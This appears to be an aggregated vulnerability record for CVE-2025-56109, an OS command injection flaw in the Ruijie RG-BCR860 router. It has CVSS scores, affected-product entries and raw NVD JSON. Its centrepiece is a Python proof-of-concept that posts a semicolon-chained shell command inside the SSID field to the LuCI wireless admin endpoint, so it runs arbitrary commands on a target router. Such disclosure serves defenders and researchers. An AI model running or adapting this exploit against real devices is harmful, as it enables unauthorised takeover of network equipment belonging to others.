Security Vulnerability Report
中文
CVE-2025-56109 CVSS 8.8 HIGH

CVE-2025-56109

Published: 2025-12-11 19:15:57
Last Modified: 2026-01-26 20:43:46

Description

OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the action_wireless in file /usr/lib/lua/luci/control/admin/wireless.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-bcr860_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-BCR860 固件版本 <= 未知受影响版本
Ruijie RG-BCR 系列多个型号可能受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56109 PoC - Ruijie RG-BCR860 Command Injection # Target: action_wireless endpoint in /usr/lib/lua/luci/control/admin/wireless.lua def exploit(target_ip, target_port=443, cmd='id'): """ Exploit OS Command Injection in Ruijie RG-BCR860 Args: target_ip: Target router IP address target_port: Web management port (default: 443) cmd: Command to execute on the target Returns: Response from the target """ url = f"https://{target_ip}:{target_port}/cgi-bin/luci/;stok=/admin/wireless" # Inject command via action_wireless endpoint # Using semicolon to chain commands in shell injected_cmd = f";{cmd}" # Prepare POST data with command injection payload data = { 'device': 'radio0', 'ssid': f'test{injected_cmd}', # Inject command in SSID field 'encryption': 'psk2', 'key': 'test123456', 'submit': '1' } # Optional: Add authentication if required headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(url, data=data, headers=headers, verify=False, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port] [cmd]") print(f"Example: python {sys.argv[0]} 192.168.1.1 443 'id'") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 command = sys.argv[3] if len(sys.argv) > 3 else 'id' exploit(target, port, command)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56109", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:56.563", "lastModified": "2026-01-26T20:43:45.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the action_wireless in file /usr/lib/lua/luci/control/admin/wireless.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr860_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFB262F4-8641-40D7-B8E5-9B4575B5AA1C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:*", "matchCriteriaId": "AEB06D24-93E3-42B4-AD6C-5510F5B5EDDC"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EqEQemupso9DldgG-EcUI8IBLpEWP_S-f6vpeUtYztYYCg?e=gX4A10", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/Eebxh85meOlFnvAANaOt7WgBy_WVGYtW6X8dzvZBZSenbw?e=aaqmPN", "source": "[email protected]", "tags": ["Third Party Advisory", "Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56109.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}